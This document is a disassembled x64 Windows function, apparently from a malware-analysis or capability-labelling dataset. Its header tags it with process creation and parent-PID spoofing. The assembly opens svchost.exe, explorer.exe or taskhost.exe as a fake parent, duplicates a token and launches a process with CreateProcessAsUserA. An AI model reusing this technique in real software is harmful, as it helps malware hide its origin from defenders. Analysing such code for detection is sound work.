Function at 0x140003af0
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x100
mov r15, rcx
lea rcx, str.SeSecurityPrivilege
mov r13, r8
mov r14, rdx
xor ebp, ebp
call fcn.1400039b0
xor eax, eax
lea r8d, [rbp + 0x68]
lea rcx, [rsp + 0x98]
xor edx, edx
mov qword [rsp + 0x78], rbp
mov dword [rsp + 0x90], 0x70
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
call fcn.14000fcd0
lea r9, [rsp + 0x68]
lea edx, [rbp + 1]
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0xcc], 1
mov word [rsp + 0xd0], bp
mov qword [rsp + 0x68], rbp
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x68]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rsp + 0x68]
lea edx, [rbp + 1]
mov rcx, rax
xor r8d, r8d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call fcn.140006120
lea rcx, str.svchost.exe
call fcn.140003a50
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x140003c07
lea rcx, str.explorer.exe
call fcn.140003a50
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x140003c07
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x30], rbp
lea r9, [rsp + 0x60]
xor edx, edx
mov r8d, 0x20000
mov rcx, r12
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
lea rcx, str.explorer.exe
mov qword [rsp + 0xf8], r12
call fcn.140003a50
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
mov qword [rsp + 0x148], rbp
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x140003ca9
lea rcx, str.taskhost.exe
call fcn.140003a50
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x140003ca9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
lea r8, [rsp + 0x148]
mov edx, 0xf01ff
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140003d8a
mov rdx, qword [rsp + 0x148]
mov qword [rsp + 0x130], rbx
lea rcx, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x140], rdi
mov ebx, 0x80000
mov qword [rsp + 0x70], rbp
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x50], rcx
mov edi, eax
mov eax, 0x80400
test edi, edi
lea rcx, [rsp + 0x90]
mov r8, r13
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x148]
cmovne ebx, eax
mov qword [rsp + 0x40], rbp
mov rax, rbp
test edi, edi
cmovne rax, qword [rsp + 0x70]
xor r9d, r9d
mov rdx, r14
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov rcx, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x130]
test edi, edi
mov rdi, qword [rsp + 0x140]
mov qword [r15], rcx
mov ebp, eax
je 0x140003d7c
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov rcx, qword [rsp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rsp + 0x138]
mov eax, ebp
add rsp, 0x100
pop r15
pop r14
pop r13
pop r12
pop rbp
ret